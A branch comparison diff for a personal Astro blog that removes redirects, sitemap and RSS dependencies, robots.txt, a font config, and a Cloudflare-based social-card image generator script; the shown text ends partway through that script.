Compare commits
No commits in common. "main" and "vercel/install-vercel-web-analytics-bx96ye" have entirely different histories.
main
...
vercel/ins
|
|
@ -1,3 +0,0 @@
|
||||||
# Cloudflare Browser Run credentials for `npm run og` (copy to .env)
|
|
||||||
CF_ACCOUNT_ID=
|
|
||||||
CF_API_TOKEN=
|
|
||||||
3
.gitignore
vendored
|
|
@ -22,6 +22,3 @@ pnpm-debug.log*
|
||||||
|
|
||||||
# jetbrains setting folder
|
# jetbrains setting folder
|
||||||
.idea/
|
.idea/
|
||||||
|
|
||||||
# vercel build output (generated by the adapter)
|
|
||||||
.vercel/
|
|
||||||
|
|
|
||||||
|
|
@ -1,84 +1,30 @@
|
||||||
// @ts-check
|
// @ts-check
|
||||||
import { readdirSync, readFileSync } from 'node:fs';
|
|
||||||
import { defineConfig } from 'astro/config';
|
import { defineConfig } from 'astro/config';
|
||||||
import { defineConfig, fontProviders } from 'astro/config';
|
|
||||||
|
|
||||||
import react from '@astrojs/react';
|
import react from '@astrojs/react';
|
||||||
import mdx from '@astrojs/mdx';
|
import mdx from '@astrojs/mdx';
|
||||||
import sitemap from '@astrojs/sitemap'
|
|
||||||
import tailwindcss from '@tailwindcss/vite';
|
import tailwindcss from '@tailwindcss/vite';
|
||||||
import vercel from '@astrojs/vercel';
|
import vercel from '@astrojs/vercel';
|
||||||
|
|
||||||
// English used to be served without a /en prefix. Every URL published before
|
|
||||||
// the move keeps working through a 301; new pages only ever existed under /en.
|
|
||||||
// (Astro can't express this as a dynamic redirect in a static build: the
|
|
||||||
// destination must be an existing route with the same params.)
|
|
||||||
const LEGACY_EN_PATHS = [
|
|
||||||
'/',
|
|
||||||
'/about',
|
|
||||||
'/posts',
|
|
||||||
'/posts/hello-world',
|
|
||||||
'/posts/spotify-complaining',
|
|
||||||
'/posts/understanding-plugin4shell-git-trick-ai-coding-agents',
|
|
||||||
'/tags/ai',
|
|
||||||
'/tags/blogging',
|
|
||||||
'/tags/cybersecurity',
|
|
||||||
'/tags/git',
|
|
||||||
'/tags/life',
|
|
||||||
'/tags/meta',
|
|
||||||
'/tags/software',
|
|
||||||
'/feed.xml',
|
|
||||||
];
|
|
||||||
|
|
||||||
// Draft posts still get a page (reachable by URL) but stay out of the sitemap.
|
|
||||||
// This runs before content collections exist, so read the frontmatter directly.
|
|
||||||
const DRAFT_PATHS = readdirSync('./src/content/posts', { recursive: true, encoding: 'utf-8' })
|
|
||||||
.filter((file) => file.endsWith('.mdx'))
|
|
||||||
.map((file) => readFileSync(`./src/content/posts/${file}`, 'utf-8'))
|
|
||||||
.filter((raw) => /^draft:\s*true\s*$/m.test(raw))
|
|
||||||
.map((raw) => raw.match(/^slug:\s*"?(en|pt)-([^"\n]+)"?/m))
|
|
||||||
.filter((match) => match !== null)
|
|
||||||
.map(([, lang, slug]) => `/${lang}/posts/${slug.trim()}/`);
|
|
||||||
|
|
||||||
// https://astro.build/config
|
// https://astro.build/config
|
||||||
export default defineConfig({
|
export default defineConfig({
|
||||||
site: 'https://gabeefran.co',
|
site: 'https://gabeefran.co',
|
||||||
|
|
||||||
// No `i18n` block on purpose: locales come from src/lib/i18n.ts and every
|
i18n: {
|
||||||
// locale, English included, lives under src/pages/[lang]/. Astro's i18n
|
defaultLocale: 'en',
|
||||||
// routing would add middleware that 404s the unprefixed on-demand
|
locales: ['en', 'pt'],
|
||||||
// /page-card and /social-card routes (prefix-always) or /en/* (default).
|
routing: {
|
||||||
|
prefixDefaultLocale: false,
|
||||||
redirects: {
|
},
|
||||||
...Object.fromEntries(LEGACY_EN_PATHS.map((path) => [path, path === '/' ? '/en' : `/en${path}`])),
|
|
||||||
// The Portuguese about page moved to /pt/sobre (slug from src/content/about/pt.md).
|
|
||||||
'/pt/about': '/pt/sobre',
|
|
||||||
},
|
},
|
||||||
|
|
||||||
integrations: [react(), mdx(), sitemap({ filter: (page) => !DRAFT_PATHS.some((path) => page.endsWith(path)) })],
|
integrations: [react(), mdx()],
|
||||||
|
|
||||||
adapter: vercel({
|
adapter: vercel({
|
||||||
webAnalytics: { enabled: false },
|
webAnalytics: { enabled: true },
|
||||||
}),
|
}),
|
||||||
|
|
||||||
vite: {
|
vite: {
|
||||||
plugins: [tailwindcss()],
|
plugins: [tailwindcss()],
|
||||||
},
|
},
|
||||||
|
|
||||||
fonts: [
|
|
||||||
{
|
|
||||||
provider: fontProviders.local(),
|
|
||||||
name: "iA Writer Duo S",
|
|
||||||
cssVariable: "--font-iawriter",
|
|
||||||
options: {
|
|
||||||
variants: [
|
|
||||||
{
|
|
||||||
src: ['./src/assets/iAWriterDuoS-Regular.woff2'],
|
|
||||||
weight: 'normal',
|
|
||||||
style: 'normal'
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
]
|
|
||||||
});
|
});
|
||||||
|
|
|
||||||
|
|
@ -1,2 +0,0 @@
|
||||||
[tools]
|
|
||||||
claude = "latest"
|
|
||||||
192
package-lock.json
generated
|
|
@ -11,8 +11,6 @@
|
||||||
"@astrojs/markdown-satteri": "^0.4.0",
|
"@astrojs/markdown-satteri": "^0.4.0",
|
||||||
"@astrojs/mdx": "^8.0.0",
|
"@astrojs/mdx": "^8.0.0",
|
||||||
"@astrojs/react": "^6.0.5",
|
"@astrojs/react": "^6.0.5",
|
||||||
"@astrojs/rss": "^4.0.19",
|
|
||||||
"@astrojs/sitemap": "^3.7.4",
|
|
||||||
"@astrojs/vercel": "^11.0.9",
|
"@astrojs/vercel": "^11.0.9",
|
||||||
"@tailwindcss/vite": "^4.3.3",
|
"@tailwindcss/vite": "^4.3.3",
|
||||||
"@types/react": "^19.2.18",
|
"@types/react": "^19.2.18",
|
||||||
|
|
@ -291,27 +289,6 @@
|
||||||
"react-dom": "^17.0.2 || ^18.0.0 || ^19.0.0"
|
"react-dom": "^17.0.2 || ^18.0.0 || ^19.0.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/@astrojs/rss": {
|
|
||||||
"version": "4.0.19",
|
|
||||||
"resolved": "https://registry.npmjs.org/@astrojs/rss/-/rss-4.0.19.tgz",
|
|
||||||
"integrity": "sha512-e+z5wYeYtffQdHQO8c2tkSd2JEBdAuRXJV4ZEU5IxkYeE6e39woDd7nw1PH1Kk2tEYNCYuKdylnnbhGmt61awA==",
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"fast-xml-parser": "^5.5.7",
|
|
||||||
"piccolore": "^0.1.3",
|
|
||||||
"zod": "^4.3.6"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/@astrojs/sitemap": {
|
|
||||||
"version": "3.7.4",
|
|
||||||
"resolved": "https://registry.npmjs.org/@astrojs/sitemap/-/sitemap-3.7.4.tgz",
|
|
||||||
"integrity": "sha512-LbKNC24bdUWcQf/pThB6qLlSqHojxGjZDURIzFocY8rlWnAn2t74nnhnK6S5x0NHriHoAduLEpVjRykmeGiVvA==",
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"sitemap": "^9.0.0",
|
|
||||||
"zod": "^4.3.6"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/@astrojs/telemetry": {
|
"node_modules/@astrojs/telemetry": {
|
||||||
"version": "3.3.3",
|
"version": "3.3.3",
|
||||||
"resolved": "https://registry.npmjs.org/@astrojs/telemetry/-/telemetry-3.3.3.tgz",
|
"resolved": "https://registry.npmjs.org/@astrojs/telemetry/-/telemetry-3.3.3.tgz",
|
||||||
|
|
@ -1917,18 +1894,6 @@
|
||||||
"@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.4"
|
"@emnapi/runtime": "^1.7.1 || ^2.0.0-alpha.4"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/@nodable/entities": {
|
|
||||||
"version": "3.1.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/@nodable/entities/-/entities-3.1.0.tgz",
|
|
||||||
"integrity": "sha512-LsS/DjHr+uDM647Gru/cA8+J3a3HfhttwCKLyuoyN7yXTFCxKBtSgMQBvrW9yNPa2/zDRUNuGPaH5QUFoa4arQ==",
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"type": "github",
|
|
||||||
"url": "https://github.com/sponsors/nodable"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/@oslojs/encoding": {
|
"node_modules/@oslojs/encoding": {
|
||||||
"version": "1.1.0",
|
"version": "1.1.0",
|
||||||
"resolved": "https://registry.npmjs.org/@oslojs/encoding/-/encoding-1.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/@oslojs/encoding/-/encoding-1.1.0.tgz",
|
||||||
|
|
@ -2933,15 +2898,6 @@
|
||||||
"@types/unist": "*"
|
"@types/unist": "*"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/@types/node": {
|
|
||||||
"version": "24.19.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/@types/node/-/node-24.19.0.tgz",
|
|
||||||
"integrity": "sha512-zY+5tKxXdhGh1PYI0ac+7juvEu4OI6vWtVVoj5i2m42jxAY1U+zHGt6QCyOFwykdP62sM3MJ9stoYYUw5aCWew==",
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"undici-types": ">=7.24.0 <7.24.7"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/@types/react": {
|
"node_modules/@types/react": {
|
||||||
"version": "19.2.18",
|
"version": "19.2.18",
|
||||||
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.18.tgz",
|
"resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.18.tgz",
|
||||||
|
|
@ -2960,15 +2916,6 @@
|
||||||
"@types/react": "^19.2.0"
|
"@types/react": "^19.2.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/@types/sax": {
|
|
||||||
"version": "1.2.7",
|
|
||||||
"resolved": "https://registry.npmjs.org/@types/sax/-/sax-1.2.7.tgz",
|
|
||||||
"integrity": "sha512-rO73L89PJxeYM3s3pPPjiPgVVcymqU490g0YO5n5By0k2Erzj6tay/4lr1CHAAU4JyOWd1rpQ8bCf6cZfHU96A==",
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"@types/node": "*"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/@types/unist": {
|
"node_modules/@types/unist": {
|
||||||
"version": "3.0.3",
|
"version": "3.0.3",
|
||||||
"resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",
|
"resolved": "https://registry.npmjs.org/@types/unist/-/unist-3.0.3.tgz",
|
||||||
|
|
@ -3208,24 +3155,6 @@
|
||||||
"url": "https://github.com/sponsors/jonschlinkert"
|
"url": "https://github.com/sponsors/jonschlinkert"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/anynum": {
|
|
||||||
"version": "1.0.1",
|
|
||||||
"resolved": "https://registry.npmjs.org/anynum/-/anynum-1.0.1.tgz",
|
|
||||||
"integrity": "sha512-N6//FLET/tXYNM/F6ABca1oH6fWB+KlTt909Le28WMDBk8oaT4vY17DCrwg2MvmuqUKt3Ni4N5dGJ/EoBgcO6A==",
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"type": "github",
|
|
||||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/arg": {
|
|
||||||
"version": "5.0.2",
|
|
||||||
"resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
|
|
||||||
"integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/argparse": {
|
"node_modules/argparse": {
|
||||||
"version": "2.0.1",
|
"version": "2.0.1",
|
||||||
"resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
|
"resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
|
||||||
|
|
@ -4012,45 +3941,6 @@
|
||||||
"fast-string-width": "^3.0.2"
|
"fast-string-width": "^3.0.2"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/fast-xml-builder": {
|
|
||||||
"version": "1.3.1",
|
|
||||||
"resolved": "https://registry.npmjs.org/fast-xml-builder/-/fast-xml-builder-1.3.1.tgz",
|
|
||||||
"integrity": "sha512-pIM/1n3ntFXKYrUZwW7QCK0gAW7XY+wzj1YMIV3tLDvPj/V+zTGJK5e3/4WJfwj0qWw2ElNXiTixda/R+3YSug==",
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"type": "github",
|
|
||||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"path-expression-matcher": "^1.6.2",
|
|
||||||
"xml-naming": "^0.3.0"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/fast-xml-parser": {
|
|
||||||
"version": "5.11.2",
|
|
||||||
"resolved": "https://registry.npmjs.org/fast-xml-parser/-/fast-xml-parser-5.11.2.tgz",
|
|
||||||
"integrity": "sha512-R9iDuNrQYeQut46cn2r2wHKn4HYzVDvDm5J1wW+koZewykv0yuO2HChTYeZtrULyHIDM9cj9TUXloCsueCQUog==",
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"type": "github",
|
|
||||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"@nodable/entities": "^3.0.1",
|
|
||||||
"fast-xml-builder": "^1.2.0",
|
|
||||||
"is-unsafe": "^2.0.0",
|
|
||||||
"path-expression-matcher": "^1.6.2",
|
|
||||||
"strnum": "^2.4.2",
|
|
||||||
"xml-naming": "^0.3.0"
|
|
||||||
},
|
|
||||||
"bin": {
|
|
||||||
"fxparser": "src/cli/cli.js"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/fdir": {
|
"node_modules/fdir": {
|
||||||
"version": "6.5.0",
|
"version": "6.5.0",
|
||||||
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
|
"resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
|
||||||
|
|
@ -4337,18 +4227,6 @@
|
||||||
"url": "https://github.com/sponsors/sindresorhus"
|
"url": "https://github.com/sponsors/sindresorhus"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/is-unsafe": {
|
|
||||||
"version": "2.0.2",
|
|
||||||
"resolved": "https://registry.npmjs.org/is-unsafe/-/is-unsafe-2.0.2.tgz",
|
|
||||||
"integrity": "sha512-HgbIHPBH0KHHCcjLfGsCvhtPTVxjaAZlXjwdz7/GQC40SjSe4sfQsar8J5VFo8JOSbarkpV0OLG95bbaNd9aAQ==",
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"type": "github",
|
|
||||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/isexe": {
|
"node_modules/isexe": {
|
||||||
"version": "2.0.0",
|
"version": "2.0.0",
|
||||||
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
|
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz",
|
||||||
|
|
@ -5158,21 +5036,6 @@
|
||||||
"integrity": "sha512-yQA4H19AmPEoMUeavPMDIe1higySl/gH/yaQrkT/s07Qp+7pp2hYz30N3z2l5BkjVkF9Ow6o0wjJamm2y7Sn0A==",
|
"integrity": "sha512-yQA4H19AmPEoMUeavPMDIe1higySl/gH/yaQrkT/s07Qp+7pp2hYz30N3z2l5BkjVkF9Ow6o0wjJamm2y7Sn0A==",
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
"node_modules/path-expression-matcher": {
|
|
||||||
"version": "1.6.2",
|
|
||||||
"resolved": "https://registry.npmjs.org/path-expression-matcher/-/path-expression-matcher-1.6.2.tgz",
|
|
||||||
"integrity": "sha512-enSlaiat05iasnzmgNxRj8reFdj3puY2QpNgP1aPIaVfT6nn9ICuPoFlKHk8EN22HcwewshO+mN2DGbkCEOtqQ==",
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"type": "github",
|
|
||||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"license": "MIT",
|
|
||||||
"engines": {
|
|
||||||
"node": ">=14.0.0"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/path-key": {
|
"node_modules/path-key": {
|
||||||
"version": "3.1.1",
|
"version": "3.1.1",
|
||||||
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
|
"resolved": "https://registry.npmjs.org/path-key/-/path-key-3.1.1.tgz",
|
||||||
|
|
@ -5606,25 +5469,6 @@
|
||||||
"integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
|
"integrity": "sha512-bLGGlR1QxBcynn2d5YmDX4MGjlZvy2MRBDRNHLJ8VI6l6+9FUiyTFNJ0IveOSP0bcXgVDPRcfGqA0pjaqUpfVg==",
|
||||||
"license": "MIT"
|
"license": "MIT"
|
||||||
},
|
},
|
||||||
"node_modules/sitemap": {
|
|
||||||
"version": "9.0.1",
|
|
||||||
"resolved": "https://registry.npmjs.org/sitemap/-/sitemap-9.0.1.tgz",
|
|
||||||
"integrity": "sha512-S6hzjGJSG3d6if0YoF5kTyeRJvia6FSTBroE5fQ0bu1QNxyJqhhinfUsXi9fH3MgtXODWvwo2BDyQSnhPQ88uQ==",
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"@types/node": "^24.9.2",
|
|
||||||
"@types/sax": "^1.2.1",
|
|
||||||
"arg": "^5.0.0",
|
|
||||||
"sax": "^1.4.1"
|
|
||||||
},
|
|
||||||
"bin": {
|
|
||||||
"sitemap": "dist/esm/cli.js"
|
|
||||||
},
|
|
||||||
"engines": {
|
|
||||||
"node": ">=20.19.5",
|
|
||||||
"npm": ">=10.8.2"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/smol-toml": {
|
"node_modules/smol-toml": {
|
||||||
"version": "1.8.0",
|
"version": "1.8.0",
|
||||||
"resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.8.0.tgz",
|
"resolved": "https://registry.npmjs.org/smol-toml/-/smol-toml-1.8.0.tgz",
|
||||||
|
|
@ -5679,21 +5523,6 @@
|
||||||
"node": ">=6"
|
"node": ">=6"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/strnum": {
|
|
||||||
"version": "2.4.2",
|
|
||||||
"resolved": "https://registry.npmjs.org/strnum/-/strnum-2.4.2.tgz",
|
|
||||||
"integrity": "sha512-rDG3Ah4TV0k1hWvLSzkZtMmLN9+eS+h3knq4MP6A42Y3Yh5qGNnOUs1jJkoSr8FG5dsL28c7KgkIBzSEykqtuw==",
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"type": "github",
|
|
||||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"license": "MIT",
|
|
||||||
"dependencies": {
|
|
||||||
"anynum": "^1.0.1"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/svgo": {
|
"node_modules/svgo": {
|
||||||
"version": "4.1.0",
|
"version": "4.1.0",
|
||||||
"resolved": "https://registry.npmjs.org/svgo/-/svgo-4.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/svgo/-/svgo-4.1.0.tgz",
|
||||||
|
|
@ -5863,12 +5692,6 @@
|
||||||
"node": ">=22.19.0"
|
"node": ">=22.19.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/undici-types": {
|
|
||||||
"version": "7.24.6",
|
|
||||||
"resolved": "https://registry.npmjs.org/undici-types/-/undici-types-7.24.6.tgz",
|
|
||||||
"integrity": "sha512-WRNW+sJgj5OBN4/0JpHFqtqzhpbnV0GuB+OozA9gCL7a993SmU+1JBZCzLNxYsbMfIeDL+lTsphD5jN5N+n0zg==",
|
|
||||||
"license": "MIT"
|
|
||||||
},
|
|
||||||
"node_modules/unified": {
|
"node_modules/unified": {
|
||||||
"version": "11.0.5",
|
"version": "11.0.5",
|
||||||
"resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz",
|
"resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz",
|
||||||
|
|
@ -6290,21 +6113,6 @@
|
||||||
"node": ">= 6.0"
|
"node": ">= 6.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node_modules/xml-naming": {
|
|
||||||
"version": "0.3.0",
|
|
||||||
"resolved": "https://registry.npmjs.org/xml-naming/-/xml-naming-0.3.0.tgz",
|
|
||||||
"integrity": "sha512-ghig2TBE/H11aOVgmahA3MhimvkBr6JIYknH/Dhdk10nXwdbIqBJsbfMxpvFPG8bAw77gN29aQWvKpmVoPlvPQ==",
|
|
||||||
"funding": [
|
|
||||||
{
|
|
||||||
"type": "github",
|
|
||||||
"url": "https://github.com/sponsors/NaturalIntelligence"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
"license": "MIT",
|
|
||||||
"engines": {
|
|
||||||
"node": ">=16.0.0"
|
|
||||||
}
|
|
||||||
},
|
|
||||||
"node_modules/xxhash-wasm": {
|
"node_modules/xxhash-wasm": {
|
||||||
"version": "1.1.0",
|
"version": "1.1.0",
|
||||||
"resolved": "https://registry.npmjs.org/xxhash-wasm/-/xxhash-wasm-1.1.0.tgz",
|
"resolved": "https://registry.npmjs.org/xxhash-wasm/-/xxhash-wasm-1.1.0.tgz",
|
||||||
|
|
|
||||||
|
|
@ -9,15 +9,12 @@
|
||||||
"dev": "astro dev",
|
"dev": "astro dev",
|
||||||
"build": "astro build",
|
"build": "astro build",
|
||||||
"preview": "astro preview",
|
"preview": "astro preview",
|
||||||
"astro": "astro",
|
"astro": "astro"
|
||||||
"og": "node --env-file-if-exists=.env scripts/generate-social-cards.ts"
|
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@astrojs/markdown-satteri": "^0.4.0",
|
"@astrojs/markdown-satteri": "^0.4.0",
|
||||||
"@astrojs/mdx": "^8.0.0",
|
"@astrojs/mdx": "^8.0.0",
|
||||||
"@astrojs/react": "^6.0.5",
|
"@astrojs/react": "^6.0.5",
|
||||||
"@astrojs/rss": "^4.0.19",
|
|
||||||
"@astrojs/sitemap": "^3.7.4",
|
|
||||||
"@astrojs/vercel": "^11.0.9",
|
"@astrojs/vercel": "^11.0.9",
|
||||||
"@tailwindcss/vite": "^4.3.3",
|
"@tailwindcss/vite": "^4.3.3",
|
||||||
"@types/react": "^19.2.18",
|
"@types/react": "^19.2.18",
|
||||||
|
|
|
||||||
|
|
@ -1,4 +0,0 @@
|
||||||
User-agent: *
|
|
||||||
Allow: /
|
|
||||||
|
|
||||||
Sitemap: https://gabeefran.co/sitemap-index.xml
|
|
||||||
|
Before Width: | Height: | Size: 63 KiB |
|
Before Width: | Height: | Size: 33 KiB |
|
Before Width: | Height: | Size: 43 KiB |
|
Before Width: | Height: | Size: 58 KiB |
|
Before Width: | Height: | Size: 37 KiB |
|
Before Width: | Height: | Size: 78 KiB |
|
Before Width: | Height: | Size: 25 KiB |
|
Before Width: | Height: | Size: 30 KiB |
|
Before Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 26 KiB |
|
Before Width: | Height: | Size: 25 KiB |
|
Before Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 90 KiB |
|
Before Width: | Height: | Size: 68 KiB |
|
Before Width: | Height: | Size: 46 KiB |
|
Before Width: | Height: | Size: 65 KiB |
|
Before Width: | Height: | Size: 44 KiB |
|
Before Width: | Height: | Size: 82 KiB |
|
Before Width: | Height: | Size: 26 KiB |
|
Before Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 35 KiB |
|
Before Width: | Height: | Size: 27 KiB |
|
Before Width: | Height: | Size: 26 KiB |
|
Before Width: | Height: | Size: 28 KiB |
|
Before Width: | Height: | Size: 32 KiB |
|
Before Width: | Height: | Size: 109 KiB |
|
|
@ -1,163 +0,0 @@
|
||||||
// Generates OG images for every post and every other page (home, posts,
|
|
||||||
// about, tags, 404) using Cloudflare Browser Run.
|
|
||||||
// Adapted from https://developers.cloudflare.com/browser-run/how-to/og-images-astro/
|
|
||||||
//
|
|
||||||
// Usage: npm run og (only missing images)
|
|
||||||
// npm run og -- --force (regenerate all)
|
|
||||||
//
|
|
||||||
// Needs CF_ACCOUNT_ID and CF_API_TOKEN (read from .env), and the
|
|
||||||
// /social-card and /page-card routes must be deployed at BASE_URL.
|
|
||||||
import { existsSync, mkdirSync, readdirSync, readFileSync, writeFileSync } from 'node:fs';
|
|
||||||
import { dirname, join } from 'node:path';
|
|
||||||
import { LANGS, pageMeta, tagPageMeta, type Lang, type PageKey } from '../src/lib/i18n.ts';
|
|
||||||
import { pageCardPath, postCardPath, tagCardPath } from '../src/lib/social-cards.ts';
|
|
||||||
|
|
||||||
const BASE_URL = process.env.SOCIAL_CARD_BASE_URL ?? 'https://gabeefran.co';
|
|
||||||
const CF_API = 'https://api.cloudflare.com/client/v4/accounts';
|
|
||||||
const POSTS_DIR = 'src/content/posts';
|
|
||||||
// 404.html is prerendered once, in English (see src/pages/404.astro).
|
|
||||||
const LANG_PAGES: Record<Lang, PageKey[]> = {
|
|
||||||
en: ['home', 'posts', 'about', '404'],
|
|
||||||
pt: ['home', 'posts', 'about'],
|
|
||||||
};
|
|
||||||
|
|
||||||
interface Post {
|
|
||||||
lang: Lang;
|
|
||||||
slug: string;
|
|
||||||
title: string;
|
|
||||||
description?: string;
|
|
||||||
tags: string[];
|
|
||||||
}
|
|
||||||
|
|
||||||
interface Card {
|
|
||||||
/** Path under public/, e.g. /social-cards/en/hello-world.png */
|
|
||||||
path: string;
|
|
||||||
/** Card template route: /social-card for posts, /page-card for everything else. */
|
|
||||||
route: '/social-card' | '/page-card';
|
|
||||||
params: Record<string, string>;
|
|
||||||
}
|
|
||||||
|
|
||||||
function getFrontmatterField(content: string, field: string): string | null {
|
|
||||||
const match = content.match(new RegExp(`^${field}:\\s*"?([^"\\n]+)"?`, 'm'));
|
|
||||||
return match ? match[1].trim() : null;
|
|
||||||
}
|
|
||||||
|
|
||||||
/** Reads an inline tag list, e.g. `tags: ["meta", "blogging"]`. */
|
|
||||||
function getFrontmatterTags(content: string): string[] {
|
|
||||||
const list = content.match(/^tags:\s*\[([^\]]*)\]/m)?.[1] ?? '';
|
|
||||||
return [...list.matchAll(/["']([^"']+)["']/g)].map((m) => m[1]);
|
|
||||||
}
|
|
||||||
|
|
||||||
/** Posts live at src/content/posts/<lang>/<slug>.mdx (see src/content.config.ts). */
|
|
||||||
function readPosts(): Post[] {
|
|
||||||
return LANGS.flatMap((lang) => {
|
|
||||||
const dir = join(POSTS_DIR, lang);
|
|
||||||
if (!existsSync(dir)) return [];
|
|
||||||
return readdirSync(dir)
|
|
||||||
.filter((f) => f.endsWith('.mdx'))
|
|
||||||
.map((file) => {
|
|
||||||
const raw = readFileSync(join(dir, file), 'utf-8');
|
|
||||||
if (getFrontmatterField(raw, 'draft') === 'true') return null;
|
|
||||||
const slug = file.replace(/\.mdx$/, '');
|
|
||||||
const title = getFrontmatterField(raw, 'title') ?? slug;
|
|
||||||
const description = getFrontmatterField(raw, 'description') ?? undefined;
|
|
||||||
const tags = getFrontmatterTags(raw);
|
|
||||||
return { lang, slug, title, description, tags };
|
|
||||||
})
|
|
||||||
.filter((p): p is Post => p !== null);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
function listCards(posts: Post[]): Card[] {
|
|
||||||
const postCards: Card[] = posts.map((post) => {
|
|
||||||
const params: Record<string, string> = { title: post.title, author: 'Gabriel Franco' };
|
|
||||||
if (post.description) params.description = post.description;
|
|
||||||
return { path: postCardPath(post.lang, post.slug), route: '/social-card', params };
|
|
||||||
});
|
|
||||||
|
|
||||||
const pageCards: Card[] = LANGS.flatMap((lang) => {
|
|
||||||
const pages = LANG_PAGES[lang].map((key) => ({ path: pageCardPath(lang, key), meta: pageMeta(lang, key) }));
|
|
||||||
const tags = [...new Set(posts.filter((p) => p.lang === lang).flatMap((p) => p.tags))].sort();
|
|
||||||
const tagPages = tags.map((tag) => ({ path: tagCardPath(lang, tag), meta: tagPageMeta(lang, tag) }));
|
|
||||||
return [...pages, ...tagPages].map(({ path, meta }) => ({
|
|
||||||
path,
|
|
||||||
route: '/page-card' as const,
|
|
||||||
params: { title: meta.title, description: meta.description },
|
|
||||||
}));
|
|
||||||
});
|
|
||||||
|
|
||||||
return [...postCards, ...pageCards];
|
|
||||||
}
|
|
||||||
|
|
||||||
async function captureScreenshot(accountId: string, apiToken: string, pageUrl: string): Promise<ArrayBuffer> {
|
|
||||||
const res = await fetch(`${CF_API}/${accountId}/browser-run/screenshot`, {
|
|
||||||
method: 'POST',
|
|
||||||
headers: {
|
|
